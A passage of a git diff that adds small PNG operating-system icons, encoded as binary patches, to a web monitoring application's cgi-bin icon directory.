HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/os/macosx7.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/os/macosx7.png new file mode 100644 index 0000000000000000000000000000000000000000..777f35057c6ba959bd664254921745decfc01581 GIT binary patch literal 329 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`7G?$phPP=3j~Eyj^h;bLN}P*Q6H7Al^Atid zb5j{|O7rv-3=I_0UX~T<DHs_T7%Lc>SQ%JY8JH?)8yFfG^xFH#F)%Q&mw5WRvR`K6 z;^olUe~W1@0|NtRfk$L90|U1Z2s2)~Tla^7fq^C6(btiIVPik{pF~y$1_pxwpAgsY z-@o^*J({rWf=}Q6lGW!AUw-oc|NjdQUoO~pZR5Fn_nyCh|NZ;>_uu<>Uwi)kv*(QS zRci`9F)%PBdb&7<RNP8F@n+8thYycf+FFEi&F<|pY1?vUJ*V`1#+NO>dEVwI?5YcM zmYU%A_{Sz5pXV!=IA;7d>Zs^6pRq3CI?KhIMx4_fepxbK65G1eaD%AflENL!4Gpw* f8*xZ?GcxGOsm?Nqe&)cyz`)??>gTe~DWM4f#AkpP literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/os/macosx8.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/os/macosx8.png new file mode 100644 index 0000000000000000000000000000000000000000..777f35057c6ba959bd664254921745decfc01581 GIT binary patch literal 329 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`7G?$phPP=3j~Eyj^h;bLN}P*Q6H7Al^Atid zb5j{|O7rv-3=I_0UX~T<DHs_T7%Lc>SQ%JY8JH?)8yFfG^xFH#F)%Q&mw5WRvR`K6 z;^olUe~W1@0|NtRfk$L90|U1Z2s2)~Tla^7fq^C6(btiIVPik{pF~y$1_pxwpAgsY z-@o^*J({rWf=}Q6lGW!AUw-oc|NjdQUoO~pZR5Fn_nyCh|NZ;>_uu<>Uwi)kv*(QS zRci`9F)%PBdb&7<RNP8F@n+8thYycf+FFEi&F<|pY1?vUJ*V`1#+NO>dEVwI?5YcM zmYU%A_{Sz5pXV!=IA;7d>Zs^6pRq3CI?KhIMx4_fepxbK65G1eaD%AflENL!4Gpw* f8*xZ?GcxGOsm?Nqe&)cyz`)??>gTe~DWM4f#AkpP literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/os/macosx9.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/os/macosx9.png new file mode 100644 index 0000000000000000000000000000000000000000..777f35057c6ba959bd664254921745decfc01581 GIT binary patch literal 329 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`7G?$phPP=3j~Eyj^h;bLN}P*Q6H7Al^Atid zb5j{|O7rv-3=I_0UX~T<DHs_T7%Lc>SQ%JY8JH?)8yFfG^xFH#F)%Q&mw5WRvR`K6 z;^olUe~W1@0|NtRfk$L90|U1Z2s2)~Tla^7fq^C6(btiIVPik{pF~y$1_pxwpAgsY z-@o^*J({rWf=}Q6lGW!AUw-oc|NjdQUoO~pZR5Fn_nyCh|NZ;>_uu<>Uwi)kv*(QS zRci`9F)%PBdb&7<RNP8F@n+8thYycf+FFEi&F<|pY1?vUJ*V`1#+NO>dEVwI?5YcM zmYU%A_{Sz5pXV!=IA;7d>Zs^6pRq3CI?KhIMx4_fepxbK65G1eaD%AflENL!4Gpw* f8*xZ?GcxGOsm?Nqe&)cyz`)??>gTe~DWM4f#AkpP literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/os/netbsd.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/os/netbsd.png new file mode 100644 index 0000000000000000000000000000000000000000..3b598628732352b340b31b29299a3d205105e9db GIT binary patch literal 329 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`7G?$phPP=3j~EyjG)r6~N?cNllZ!G7N;32F z7~C_{oJuouQc{Z)4D?JDk}4G<%TkLK0y5J}Q%mf2cC2JzU|=ut^mS#wz{SU}sXbl! zM>hil180FpWHAE+w-5+3Ub<WNhk=2CCEd~2k%3`jKlh(RRt5$J-2k5u*Z=?jUpReX zN@jk9zHPK`($Z=3j<4MK{{4GLCGE}oPu;usXsU^AlB(|eYuD~=-MfTcJe`4ofw3gW zFPOpM*^M*?28LKq7srr_TgeFt8cAo06BwEvi0>A4C^<Is3%9~7NA=4*KF4#cR2UX% z`{nbnTs)IL>43@cm(2;4eb1N!s+c>pg3ZEo5)uSL1I_s6o(OoQcIC~ZoehpBR04E1 cHZU@LZxH*l?6uM{1_lNOPgg&ebxsLQ0M!|F+5i9m literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/os/netware.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/os/netware.png new file mode 100644 index 0000000000000000000000000000000000000000..79b5c101a84c6c0a5f21a2aa0cdd497dcff41971 GIT binary patch literal 292 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`7G?$phPP=3j~Eyj*h@TpUD+>i@$qYFPgnlY z&A`CGS>O>_%)r1c1j3A$?$-TbU|?WLcl32+VA$Bt{U?!?fq}swz$e7@7=yqK2DXhn zN(Y(P&M`2Y;N#oMz;uy8=30H_RtC{)dUpT+d|%1K^X$;Ry$qV~etl&MInKnuz)<e# z;uunKD>*^Hs3cYRNm7AOO3BLL@5vR{t8b*fn_ABE{+IsDGygw#JPi1Lzd3)qTpGu_ zd;eE{OEzFG{@!~x-`s%tW%b?N<wgb)Yxad~{69~X`T47|-T!Lm@JwATe&fSC?SzCC tGlUM^JbC7ThK`Ve#-sxb8{1hKY^${9#7$!O#lXP8;OXk;vd$@?2>{V+ZR7v| literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/os/next.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/os/next.png new file mode 100644 index 0000000000000000000000000000000000000000..f4da2ae7da3454a25de0c0950f1b41303e4232d7 GIT binary patch literal 292 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`7G?$phPP=3j~Eyj*h@TpUD+>i@$qYFPgnlY z&A`CGS>O>_%)r1c1j3A$?$-TbU|?WLcl32+VA$Bt{U?!?fq}swz$e7@|Ns9PsqqT7 zN|FLXVV+WRX3St?W7)fRFGq_|C__w-Ih&6R-!dhesa+=L_HtaicCEqc#B&A)2F8*g zzhDN3XE)Lq7#OlVT^vIyZY3uqBqVG}XJ9<GoB!aIcf0jid3e^`F56os$Z%=(wIBE9 z@QK9b?k!H^VrK3RkBVLv$;do8z&-lY69%@lr9FJ9stfi^blo&bk(qh-#z|e9G%v^) qI;%crP&k{jNQS{IoHIj;nPJBfv1Yd#@0Sb=3=E#GelF{r5}E)TA6~Wq literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/os/openbsd.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/os/openbsd.png new file mode 100644 index 0000000000000000000000000000000000000000..7d672e5d884c0294602a40adc2b6153c3d5308d8 GIT binary patch literal 358 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`7G?$phPP=3j~EyjG)r6~N?cNllZ!G7N;32F z7~C_{oJuouQc{Z)4D?JDk}4G<%TkLK0y5J}Q%mf2cC2JzU|=ut^mS#wz{SU}sXbl! zM>hil180FpWHAE+w-5+3Ub<WNhk=2CCEd~2k%3`jKlh(RRt5$Jg8-ipR|bavm$q## zE-uav4YlXx6<}b9VqmD|;Mgl9G=+g-xt_v3dHKDW$(CMTKh7RHygv8v`JPq=1_s8G zAirP+hi5m^7#JAJJzX3_DsCkwBux1A{U0MUGqeBkL+$KOB_wv-&x!x~pM|;k&g^69 zqOv?Zn{GXymtJD9$L{W;RiV=k6;zeaUK!f0e7I|_YPxC^i-d}mwUyN=2?>i^mrq{` zW|5GvzIFLjEQ^H1jZ?uf&5h5DcDA%>Fl4eRCM&Qq#4T3I|7rUmlYxPO!PC{xWt~$( F69BJWc(wol literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/os/os2.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/os/os2.png new file mode 100644 index 0000000000000000000000000000000000000000..4dcb67581c7ea2dc74e1e934a2a48a0637a623c9 GIT binary patch literal 321 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`7G?$phPP=3j~EyjG)r6~N?cNllZ!G7N;32F z7~C_{oJuouQc{Z)4D?JDk}4G<%TkLK0y5J}Q%mf2cC2JzU|=ut^mS#wz{SU}sl(}> ztHHp)z**oCS<Jw|Ed;`hm+sd6VPIfjNq6*hWMJ6X&;2Knm4Si5AiyWY_1OPo-+%u; zc<|hU1q&WMe|_!Ry>sWzy?_5bFmc(jYwzc*xs=#)dH?YTFW-E*bnE@|_y6T=R{mpP zU|=i>@(X5gcy=R=fq@~&)5S5Q;#P9P0fsjd)wvr&JZ`R%y(=%#awxkttmJ)?f!U>< z8k=@CAG{Hfe*NZkS)Nm?6t#DiZ7~X2Vd>?yHYg#%)K5@Er!XNwz$h#zDDeO*LrS~o W>;;!wHZw3VFnGH9xvX<aXaWF`)O*eV literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/os/osf.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/os/osf.png new file mode 100644 index 0000000000000000000000000000000000000000..18836fcb326020ae5d69e75550a2572067dd9b1b GIT binary patch literal 299 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`7G?$phPP=3j~Eyj*h@TpUD+>i@$qYFPgnlY z&A`CGS>O>_%)r1c1j3A$?$-TbU|?WLcl32+VA$Bt{U?!?fq}swz$e7@|Ns9F@7<fe zU}0)iMQ#6tW9QC&|Nec`t{s<e+|Z4P`u_j>>-X=?q7n`sJLZ~^@&5bwm0KomXJBAp zED7=pW^j0RBaMN9q0rOCF{I*FazaAF?daXTj2@!$D|PQ5IItnLsJ_yZnR)xu>~$<^ z#%$A!d3ktbE=#8HF<$-Pm$;&mcgajX;|ME;m-X!uI?N3vXJgpp7Z|-WPvbFfG&#MK ztxcr+ZjM#Dq(sD3?r61g#;Y8Xvs(-e7#NNO%BFqoklDw;z`)??>gTe~DWM4fy&`SM literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/os/palmos.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/os/palmos.png new file mode 100644 index 0000000000000000000000000000000000000000..4f4f68dcfe6c0fe10702b471a739e812a2718b3a GIT binary patch literal 351 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`7G?$phPP=3j~Eyj^h#VKN}P*Q6H7Al^Atid zb5j|zQcLv|jLa4C^2_uTj0_Bn6$~w{OpL6I4HUEu3=Isf&y<T~U|?V`@$_|NzsxNy zq$Bubs^l961_sUokH}&M25un`X1sK_?hgY4153K2uOkD)#(wTUiL49^3<d!{A+G=b z|37o-N@99yTTj>b@8657D<;jD_2|)~&D(b_TCsNP-o3s7AzH?!+YcN*c<kK!_wP5x zeqmr>U|=i>@(X5gcy=R=fq^00)5S5Q;#P7(!itKA2N+lm8E=wq5Sjk*+LE^pzoNe^ zytdeZ(`@l&$-Dd#5;vO5((Nv@do9WIe{+H5QtD>oYignlrao8qEZo-6*qFL3>&&yV z2`v}r-R*UlrL39rNl4-Bq9wEVHZ?e&xX{SR@GVAm4x6yR4Ui)|UHx3vIVCg!0N8JY AsQ>@~ literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/os/psp.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/os/psp.png new file mode 100644 index 0000000000000000000000000000000000000000..6734f7d45da959d3eb400d68c841cb2d535e6f1a GIT binary patch literal 404 zcmeAS@N?(olHy`uVBq!ia0y~yVBlk5VBqFpVqjo6@Lb!Jfq{Xuz$3Dlfq`2Xgc%uT z&5>YWU|=ut^mS#w#wfy|$>nE#N}hp%(b&_)F+}2WZNL5MrUaSR`g_`Hjtd`1q+Jkm ziQZ-D;^h3`)q^MPFTB67&bqr;m%Y8*>kgCq_A7^67YdxV&u=bR+3~yQxy@lqmSYle z5$mr@JbqbXHPgpx?zwE&L)ObLpDdhnH}AMX&#G0kmR&UY8=EWOYIy$h*|gy6TN5RG ze|!$j-G2LSo;ZVmlWX9g<^KYwrN&;5ztZ2$aN+%T&9183v!4HaSa9S0_tZ$UlSMn1 zWJXO=x&OU#UjEjoCqHY<d@pZ%`}(VuT)*cemIf8iu+^cVp@lN(kz#EN*S+2^b3AwZ z?Slyk5^RnFnX}viRX7gim__S|ZNGi?^Pb;-?PT~mO?(BN<~@(q6Q7nkS*0*Ge9{t& zzGj6NU#mX<jG2}??|Emx_VLFTH?2AT*fDU*B8|ltSIlH#@Ly%rbC_qc#})<#1_n=8 KKbLh*2~7ZQ2(JhL literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/os/qnx.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/os/qnx.png new file mode 100644 index 0000000000000000000000000000000000000000..8ffcce64296a7d2bdb7f31a48b0d42ea70030006 GIT binary patch literal 249 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`7G?$phPP=3j~Eyj*h@TpUD+>i@$qYFPgnlY z&A`CGS>O>_%)r1c1j3A$?$-TbU|?WLcl32+VA$Bt{U?!?fq_9cz$e7@|FQr7&l&Ds zWLjQn_;{CLM1IhkUAwe`oUd)QJa_F{+tjXm&!1nrckloI|NGactg}rmXJBApED7=p zW^j0RBaMN9!O7FbF{I*Fa>4;d7R82x?_(D)a9Pamd~1_$->b~c63fEkti@&bb}H)V z7Jr>}MT;%@@rDm3hxry%rK%?{sG4CX!@%&{P|)4P{nv2@1_lOCS3j3^P6<r_+SFQU literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/os/riscos.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/os/riscos.png new file mode 100644 index 0000000000000000000000000000000000000000..c20b34df760d3753d796d094ea97b7a9d526ba02 GIT binary patch literal 273 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`7G?$phPP=3j~Eyj*h@TpUD+>i@$qZwaJuJe zFfcH17I;J!Gca%qfiUBxyLEpU7#LX69eo`c7&i8E|4C$JU|=u^@CkAK|NsAjy$jN& zr9FTD{Mx;1#ruj6ygV>v?G%+{6$U2;1}_Gt45kJ576>mFR=BP3{QGn7b4&~j3=E7V zL4Lsu4$p3+F)%QMd%8G=RNP8VNJ!W<{Qv{gt?%<1HKyH+p5K(QEb{lgT82w9o4@U| zW>{8!pPS*L?A~%mlgX2^G(6^HKU;H`OX1&{nVV%Cq_oqvHJla9Pi|lcH`QnkoXN<L W{7T}?mM#MskcFPEelF{r5}E)d>|jd( literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/os/sco.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/os/sco.png new file mode 100644 index 0000000000000000000000000000000000000000..55cc4cacfd63bdf2aafcbca31e655093c019b0a3 GIT binary patch literal 252 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`7G?$phPP=3j~Eyj*h@TpUD+>i@$qYFPgnlY z&A`CGS>O>_%)r1c1j3A$?$-TbU|?WLcl32+VA$Bt{U?!?fq_9cz$e7@|NsAC9ee+u zllXs);r~5`|L>U?)H?njQ~ZBU@%%R3pXY>@&#|{lPvLQ^nb_xJX!>Io0|NtNNswPK zgTu2MX$%YuuAVNAAr-fh6AmzLId!$W<WioY#?<NIao(rdF0I{sf3IF@fYz$I;%E0l z6lAwPf46nA!q2{QOVrp>#l^+1hlsN|avVt2VQ4rfKE2_-rZEEp1B0ilpUXO@geCyg C6j^lu literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/os/sunos.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/os/sunos.png new file mode 100644 index 0000000000000000000000000000000000000000..e37e602598517a7a77eb459e3b271b133ca9b094 GIT binary patch literal 210 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`7G?$phPP=3j~Eyj*h@TpUD+>i@$qZwaJuJe zFfcH17I;J!Gca%qfiUBxyLEpU7#LX69eo`c7&i8E|4C#8DGKljasB`Q|I%~cqoVe{ z+ufkcz`(#*666=m;PC858Uq7^y{C&~NX0GJo`bv$1{_QiIVBwL)}ILawW4#U0>_7R z(G6N_-W`~=Y|A8_&RMMK4pyG>%kpKC<lZiEU$37xYY%(p9j3(`HHN1d7#J8lUHx3v IIVCg!0FWR-b^rhX literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/os/syllable.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/os/syllable.png new file mode 100644 index 0000000000000000000000000000000000000000..72928c62f2c528daa1161b5580369dd63a7fee34 GIT binary patch literal 552 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4kiW$h6!4`+87uZ*h@TpUD>bluyP5>eNO$9 z$-uyP$J50zq+(8N(D{6!M1i?K%OZCf`rhQ~%~N9a3fg13@Z+krzr<IFf4y(~(cNZ6 zdGh5fPpOQk?nH5eg^pfPTD$LW;&}J2r`^B0KrjE(q?6V8pBg%5%<Pz?l9-k@?UMYT z7pv!Xbcp!>5D#Ezcwc>gx2#gyGlySCw-zl7U|~>latTqW-G8@m@z3`)3o~w;F?eXk zE*E9l6cQD!D>75E^F(QsxcKweQ*ZCQ!^NPHsmQ``=DG3p!nVT)uYGfF?D+dHbJ7L@ zDPv{^B_$;Wh65QTH*GTC)!$@Km^(9AQ<>-R`RZz)kh^Q{?Z|w+>)zY4`}->IW?b=J z`svXlQ<p1KV`Hx`)>w5ltD_>j^vRYv`DdT4p01yB``(QeY9D17j!aDwU};O#nZbS8 z;LX>nmnBxok^A2JstMapO-fr>#A0ON8$8olWLajP+w*%r(#^IT%{<}Y<)S#_ra@2H zZP|Ien|HqXw5gS;@#dy=&p)%C|6EpH{$+|9%d0anclS)*xaRTV#hVXqxcqY3>8Cf} zTtBzG|8i!;$`Co*x}xv*#EchI2{0Tfypp&3Ycq3_P0p3ye=jdTKQI4&{e~@50@WVw zXF5`N$L8m+hkti}{PC$P&^Ayu!6n3e*0O{9I~RFeHc@0TRz4)pp5qmGIWa?$fq{X+ M)78&qol`;+0CTnjLjV8( literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/os/symbian.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/os/symbian.png new file mode 100644 index 0000000000000000000000000000000000000000..c9b5984cfae63d1b1f7cc725c8829aca17076d71 GIT binary patch literal 298 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`7G?$phPP=3j~Eyj^h#VKN}P*Q6H7Al^Atid zb5j|zQcLv|jLa4C^2_uTj0_Bn6$~w{Ow6r}Efus43=IsHXiPZAz`(#>;_2(kewkZZ z$e8(7S(+6C0|RG)M`SSr1Gf+eGhVt|_lJRjfhFD1*O7r?V?XzwL{<g{27>^f5ZC|z z|9}7fKWf(Ad+)zb+kb^2d5UTCM#bu--~WST{y*RQ|NHa*$BO??Vfeq*>HobYA1s&5 zVqjokED7=pW^j0RBaMN9!OYXeF{I*FazaAFgA@klb>9VMJ-^3daCWEEq4bcp3p$Dd uvow7eoZ6jVEGr1H^O>j05o#~Nz;I|8+a{&|GCd3o3=E#GelF{r5}E)hacVID literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/os/unix.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/os/unix.png new file mode 100644 index 0000000000000000000000000000000000000000..995c9675f1c999ae093980eb639dc852563a5d38 GIT binary patch literal 302 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`7G?$phPP=3j~Eyjq)J>PN?cNllZ!G7N;32F z7<>~`QWeTGOEMJPJ$(bdh8S*UU|?V`@$_|Nzr@KdsIDg=WWA7qfq}EYBeIx*f$IYZ zGdis?nZdxoz>@Ch>&U>cv7h@-A}a#}gF%2#h${mF0|y6(rlzK$p`oRv<(xTlmM&eo zcJ11|d-onYcI@1_bJwn2d;k9Z_wV2TgTZFYjAaZA3<4!Ve!*Y?1i|n?IaZQ^fx+I> z#WAGfR&oV9Bagu^M&`rTY;1OI<=ofyR-a`Rsb>&*s@zmp@$Rm)rNZA8@9!GhEBp<4 k?3*BW;*J8Fam!Bz+a@o`09(!p3=9kmp00i_>zopr0NfgIJOBUy literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/os/unknown.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/os/unknown.png new file mode 100644 index 0000000000000000000000000000000000000000..895b771387e91f850ff65e3f49f0231ee0a88ffe GIT binary patch literal 218 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`7G?$phPP=3j~Eyjq)J>PN?cNllZ!G7N;32F z7<>~`QWeTGOEMJPJ$(bdh8S*UU|?V`@$_|Nzre-Euc^c7o~yyYz`$AH5n0T@z%2yA zjF;}#{b68WU`coMb!1@J*w6hZk(Gggfi1u%#P$FG{|pQap@%NlF)%PNmIV0)GdMiE zk;cHlpyKJ`7*cU7IiZ2s&5=Wwp+!MYLNQ~8#f+m2QymvxT=I}%CO?B}H^WShHN1Nn Q7#J8lUHx3vIVCg!06uU#kN^Mx literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/os/vms.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/os/vms.png new file mode 100644 index 0000000000000000000000000000000000000000..58568f607ec61554315d763d6300517470fe4ff6 GIT binary patch literal 301 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`7G?$phPP=3j~EyjG)r6~N?cNllZ!G7N;32F z7~C_{oJuouQc{Z)4D?JDk}4G<%TkLK0y5J}Q%mf2cC2JzU|=ut^mS#wz{SU}sl(}> ztHHp)z**oCS<Jw|Ed;`hm+sd6VPIfjNq6*hWMJ6X&;2Knm4Si5AiyWY_5c6>`T6<Z zzklDmcW+Nm&$)BwZr!>S6&1C1?b_<<>N#`f96NUG{rmU!_Vxk-0?(g6_s_Ui&A`CG zSQ6wH%;50sMj8VHgPo^~V@SoV<b(q(K5PQBN{_Q~$m%jLyLs;)%Vit4T?w~NdAc?x zy4{-gZH6Wj&zh5u=7#Zf^6;ny1h+_RU}Uh-<qG}xw85T%fq}u()z4*}Q$iB}3$JPJ literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/os/webtv.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/os/webtv.png new file mode 100644 index 0000000000000000000000000000000000000000..07dc45892a8a81f062e01405eeac0f3ac8eeca60 GIT binary patch literal 319 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4rT@h290TVA2Tp8u$OrHy0Ty3;^WuU;dIZ{ zU|?Y2EbxddW?<kJ0%68WckBKzFfg#BJNh~@Fl_AS{*%bcz`zg{;1lBd|Nnmm1_mc5 zCq+fYrAwE#w6si_venRVEd#^7<m9Ev$;or(%u!UFQ(axn!0><X-o5wkF+@dG2L-KF zRNR}LUF_u4vUTg$wQJWhFzmf|@7}Rv$AW@_rc9YqTwEL|TV2M$z>wkT;uunKEA?C? zUxNaVYhV<Y2A{<ujd%64nF<w7-QSscDEZCrACBzxS1h*YUaLOj@>r8~lSqC~+;fRH z?+iD}F2AYAbo6LmhWDu(``0X4HG8^@=PIQj=U-e-6B-NrIU8BhycsS3JliZh=QS(u UxfzPu3=9kmp00i_>zopr0Nqb@%K!iX literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/os/wii.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/os/wii.png new file mode 100644 index 0000000000000000000000000000000000000000..9d44c99ff20206dd4e21b29c5b930ecbd95c5c4a GIT binary patch literal 552 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`4kiW$h6!4`+87uZ-+Q_^hG?8Oo#>r^*+InZ z{oGDj^}?>Gq*q%y4FYb7hUnTi-{;oZt(hf#qeV?apHoWQRmFF9`(w%KH`S3YHM^DP z9-V0S<bSl@wbfUbMd`k^y`TE*Xwt?Qz1sWNqjs;;UMg~ihk-$0_1VLR-@Gs3I>3++ zIZePxv$Z4IQQ?u8*V3SkFI)m$&U8d<$xV~%bt{zd)?{?hSUO3CkwH_n@Lx_kyTl`l zdG@wv<>doUyv#}KVPr6r;L+35YZ2JK-G1G=eO60@B<|Jz`;=)lyVS~l`Q^&xmqWdj zlMa5~bNck@j}>>`e|KNJaEkoyyK=(jeEio>XOyph7AA9A%V6_|+WUob>h`NIU2`>S z^2sOP*YEz!|NMJm#pPdSGJLn*Zo4KW*eamJ(G>Q2cdqquclEbr*0+x2$H}Xzsh-+$ zEl6yM2!jH{f}1%<3Uh8Bt^J>1!}tArJVV2^TN0C>yZB^gT{3Z9bZ5q!U%%KKZiIdO zm|0i$ZC#wb1W)_kdkbP#K69HtZ{PY5EvAN?+je!;L3-1t2CZ+J{`D6l^K~124yM%s z878ylJ>R)bd&a~Lp~=hC%w43HZu>7-I4N+}EFEQ~TicYB7C9uH&?uIX7HmA2@-uBQ z<AhH#GZ+IH7?fsRx$~d%utA6wBZJF{&pKV#R$sL`&ml1LrF@HkUawW|eQ^c`1_n=8 KKbLh*2~7Z<X7Wn_ literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/os/win.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/os/win.png new file mode 100644 index 0000000000000000000000000000000000000000..a3e9a9684a443e9a09ac4b9bf600183314800e7d GIT binary patch literal 334 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`7G?$phPP=3j~Eyjq)J>PN?cNllZ!G7N;32F z7<>~`QWeTGOEMJPJ$(bdh8S*UU|?V`@$_|Nzre-Euc<v<`A0Vc0|RG)M`SSr1Gf+e zGhVt|_lJRjfhFD1*O7r?V?XzwL{<g{27>^f5ZCYjzu#IDrD<pw6%-^OAQ5C~xb@n- z>|^gGqLK|I1fnE31lo6&=Ud*pcI=_OK=L`m`kyJD3=9m6B|(0{3=Yq3q%kls<axR{ zhE&{2PGDeibQU<7@#xW`GYT3xCdHktT!&K=AD8R@-)_Kh&$#M4i-&QX3F{|c36`fm z@xFmYi90khRxK(@<7!?p@#Q<QgUURaFWq)qH=0yiwalNFcV(fGcWa~W-5W<ekG49V gI1)0U(NTh->$#F<@z$lS3=9kmp00i_>zopr0L6%OmjD0& literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/os/win16.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/os/win16.png new file mode 100644 index 0000000000000000000000000000000000000000..a3e9a9684a443e9a09ac4b9bf600183314800e7d GIT binary patch literal 334 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`7G?$phPP=3j~Eyjq)J>PN?cNllZ!G7N;32F z7<>~`QWeTGOEMJPJ$(bdh8S*UU|?V`@$_|Nzre-Euc<v<`A0Vc0|RG)M`SSr1Gf+e zGhVt|_lJRjfhFD1*O7r?V?XzwL{<g{27>^f5ZCYjzu#IDrD<pw6%-^OAQ5C~xb@n- z>|^gGqLK|I1fnE31lo6&=Ud*pcI=_OK=L`m`kyJD3=9m6B|(0{3=Yq3q%kls<axR{ zhE&{2PGDeibQU<7@#xW`GYT3xCdHktT!&K=AD8R@-)_Kh&$#M4i-&QX3F{|c36`fm z@xFmYi90khRxK(@<7!?p@#Q<QgUURaFWq)qH=0yiwalNFcV(fGcWa~W-5W<ekG49V gI1)0U(NTh->$#F<@z$lS3=9kmp00i_>zopr0L6%OmjD0& literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/os/win2000.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/os/win2000.png new file mode 100644 index 0000000000000000000000000000000000000000..a3e9a9684a443e9a09ac4b9bf600183314800e7d GIT binary patch literal 334 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`7G?$phPP=3j~Eyjq)J>PN?cNllZ!G7N;32F z7<>~`QWeTGOEMJPJ$(bdh8S*UU|?V`@$_|Nzre-Euc<v<`A0Vc0|RG)M`SSr1Gf+e zGhVt|_lJRjfhFD1*O7r?V?XzwL{<g{27>^f5ZCYjzu#IDrD<pw6%-^OAQ5C~xb@n- z>|^gGqLK|I1fnE31lo6&=Ud*pcI=_OK=L`m`kyJD3=9m6B|(0{3=Yq3q%kls<axR{ zhE&{2PGDeibQU<7@#xW`GYT3xCdHktT!&K=AD8R@-)_Kh&$#M4i-&QX3F{|c36`fm z@xFmYi90khRxK(@<7!?p@#Q<QgUURaFWq)qH=0yiwalNFcV(fGcWa~W-5W<ekG49V gI1)0U(NTh->$#F<@z$lS3=9kmp00i_>zopr0L6%OmjD0& literal 0 HcmV?d00001 diff --git a/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/os/win2003.png b/src/main/webapp/monitoramento/wwwroot/cgi-bin/icon/os/win2003.png new file mode 100644 index 0000000000000000000000000000000000000000..247caed0a5827a4720b6ba4293269cbbcfacc4f4 GIT binary patch literal 318 zcmeAS@N?(olHy`uVBq!ia0y~yVBiB`7G?$phPP=3j~Eyj*h@TpUD+>jvI|OyMg2J4 